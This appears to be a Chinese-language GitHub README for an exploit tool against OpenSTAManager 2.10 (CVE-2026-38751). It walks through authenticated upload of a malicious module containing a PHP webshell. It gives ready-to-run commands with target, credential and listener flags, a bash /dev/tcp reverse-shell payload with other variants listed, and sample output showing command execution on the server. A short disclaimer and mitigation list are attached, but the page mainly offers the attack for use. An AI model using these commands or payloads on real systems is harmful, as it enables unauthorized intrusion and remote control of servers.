hackthem/OpenSTAManager_RCE_Exploit-CVE-2026-38751-
GitHub: hackthem/OpenSTAManager_RCE_Exploit-CVE-2026-38751-
针对 OpenSTAManager 2.10 远程代码执行漏洞(CVE-2026-38751)的自动化利用脚本,通过上传恶意模块实现任意命令执行。
Stars: 0 | Forks: 0
# OpenSTAManager RCE Exploit (CVE-2026-38751)
## 概述
这个 Python 脚本利用了 OpenSTAManager 2.10 版本中的远程代码执行漏洞(编号为 CVE-2026-38751)。该 exploit 允许经过身份验证的用户上传恶意模块并在目标系统上执行任意命令。
## 漏洞详情
- **CVE ID**: CVE-2026-38751
- **产品**: OpenSTAManager
- **版本**: 2.10
- **类型**: 远程代码执行 (RCE)
- **攻击向量**: 基于 Web,需要有效的身份验证
## Exploit 工作原理
该 exploit 遵循以下步骤:
1. **身份验证**:使用提供的凭据登录 OpenSTAManager 应用程序
2. **启用更新**:激活 exploit 所需的模块更新功能
3. **创建恶意 ZIP**:生成一个包含以下内容的 ZIP 文件:
- 模块定义文件 (`MODULE`)
- 通过 GET 参数 `c` 执行命令的 PHP shell 脚本 (`shell.php`)
4. **上传模块**:通过模块更新接口上传恶意 ZIP 文件
5. **验证 Exploit**:确认 shell 可访问且正常工作
6. **执行命令**:
- 用于手动执行命令的交互式 shell 模式
- 建立持久连接的反弹 shell
## 前置条件
- Python 3.x
- 必需的 Python 包:`requests`、`zipfile`
- OpenSTAManager 的有效管理员凭据
- 到目标系统的网络访问权限
## 用法
### 基本用法
```
python3 exploit.py -u http://target.com -U admin -P password
```
### 交互式 Shell 模式
```
python3 exploit.py -u http://target.com -U admin -P password --interactive
```
### 反弹 Shell 模式
```
python3 exploit.py -u http://target.com -U admin -P password --lhost 10.10.14.180 --lport 4444
```
## 参数
| 参数 | 描述 |
|----------|-------------|
| `-u`, `--url` | 目标 URL(必需) |
| `-U`, `--user` | 身份验证的用户名(必需) |
| `-P`, `--password` | 身份验证的密码(必需) |
| `--interactive` | 进入交互式 shell 模式 |
| `--no-cleanup` | 执行后不删除 shell 文件 |
| `--lhost` | 反弹 shell 的本地主机 |
| `--lport` | 反弹 shell 的本地端口 |
## 技术细节
### 利用过程
1. **身份验证**:脚本向应用程序的身份验证 endpoint 发送登录请求
2. **启用模块更新**:发送 POST 请求以启用模块更新功能
3. **生成 ZIP**:创建一个包含以下内容的 ZIP 压缩包:
- `shell/MODULE`:模块配置文件
- `shell/shell.php`:通过 GET 参数 `c` 执行命令的 PHP webshell
4. **上传过程**:使用 multipart 表单数据将恶意 ZIP 上传到模块更新 endpoint
5. **验证**:通过执行 `id` 等简单命令来测试上传的 shell,以确认其是否正常工作
6. **命令执行**:提供交互式 shell 或建立反弹 shell 连接
### 使用的 Payload
该 exploit 尝试多种反弹 shell payload:
- Bash 反弹 shell:`bash -i >& /dev/tcp/{lhost}/{lport} 0>&1`
- 使用 socket 连接的 Python 反弹 shell
- Base64 编码的 bash payload
- Netcat 反弹 shell
## 安全 considerations
⚠️ **免责声明**:此 exploit 仅供教育和授权的安全测试目的使用。
### 风险评估
此漏洞允许:
- 作为 Web 服务器用户执行任意代码
- 潜在的权限提升
- 访问系统上存储的敏感数据
- 可能在网络内进行横向移动
### 缓解措施
要防范此漏洞:
1. 将 OpenSTAManager 更新到最新版本
2. 实施适当的身份验证控制
3. 限制文件上传功能
4. 监控可疑活动
5. 应用网络分段
## 示例输出
```
[ OpenSTAManager RCE Exploit : ]
Target: http://target.com
[*] Step 1: Login...
[+] Login successful: admin
[*] Step 2: Enable updates...
[+] Updates enabled
[*] Step 3: Create ZIP...
[*] Created in-memory ZIP file
[*] Shell location: /modules/shell/shell.php
[*] Step 4: Upload...
[*] Upload status: 200
[+] Upload successful
[*] Step 5: Verify...
[+] Vulnerability confirmed!
[+] Shell: http://target.com/modules/shell/shell.php
[+] Test: http://target.com/modules/shell/shell.php?c=whoami
[*] Entering interactive mode...
cmd> whoami
www-data
cmd> exit
```
## 参考
- [GitHub 仓库](https://github.com/b0ySie7e/OpenSTAManager-RCE-Exploit-CVE-2026-38751)
- [CVE 详情](https://nvd.nist.gov/vuln/detail/CVE-2026-38751)
## 许可
此 exploit 仅供教育目的提供。未经授权对你不拥有或未获得明确测试许可的系统使用本工具是非法的。
标签:CISA项目, Python, Web安全, 无后门, 编程工具, 蓝队分析, 远程代码执行, 逆向工具